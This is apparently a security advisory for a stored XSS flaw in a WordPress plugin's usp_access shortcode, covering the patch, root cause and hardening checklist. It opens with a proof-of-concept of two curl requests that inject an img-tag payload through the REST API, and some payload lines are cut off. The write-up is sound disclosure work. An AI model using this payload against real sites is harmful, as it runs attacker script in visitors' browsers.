The Exploit
An authenticated attacker with Contributor-level access can inject a stored XSS payload into the usp_access shortcode deny/content attributes.
curl -i -X POST 'https://TARGET/wp-json/wp/v2/posts' \
-H 'Authorization: Basic BASE64_CONTRIBUTOR_CREDS' \
-H 'Content-Type: application/json' \
-d '{
"title": "usp_access XSS",
"content": "[usp_access deny=\"<img src=x
"status": "publish"
}'
curl -i 'https://TARGET/?p=123' | grep -o '<img src=x
The first request stores the malicious usp_access shortcode in post content. The second request loads the published page and the response contains the injected <img> tag, meaning any victim viewing that page would execute the injected script.
What the Patch Did
Before:
$deny = preg_replace('#<script(.*)>(.*)</script>#is', '', $deny);
$content = preg_replace('#<script(.*)>(.*)</script>#is', '', $content);
After:
$deny = wp_kses_post($deny);
$content = wp_kses_post($content);
The patch replaced an ad-hoc regex-based filter with wp_kses_post(), a WordPress sanitization API that whitelists allowed HTML tags and strips unsafe markup and attributes.
Root Cause
This was CWE-79: Stored Cross-Site Scripting. User-controlled shortcode attributes deny and content were accepted by usp_access and only had <script> tags stripped by a regex. That sanitization was insufficient, so attacker-supplied HTML and event handlers flowed from the shortcode attribute into page output unchecked.
Why It Works
The load-bearing fix is wp_kses_post(). Without it, the plugin still allows HTML like <img src=x> or other non-<script> payloads through because the regex only targets literal <script> tags. The earlier code did not validate the actual shortcode content as HTML, so any attribute-based or tag-based XSS vector bypassed the filter. The other changes around htmlspecialchars() and brace replacement are defensive hardening for related rendering paths, but the critical security control is the HTML whitelist sanitization provided by wp_kses_post().
Hardening Checklist
- Use
wp_kses_post()orwp_kses()for any user-supplied HTML that will be rendered in post content or shortcode output. - For shortcode attributes that should not contain HTML, use
sanitize_text_field()andesc_attr()instead of attempting regex stripping. - Never rely on regex to remove
<script>tags; use WordPress sanitization APIs. - Validate shortcode input with
shortcode_atts()and explicit sanitizers for each expected field. - Escape shortcode output at render time with
esc_html()oresc_attr()whenever marking user input as text rather than markup.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-0913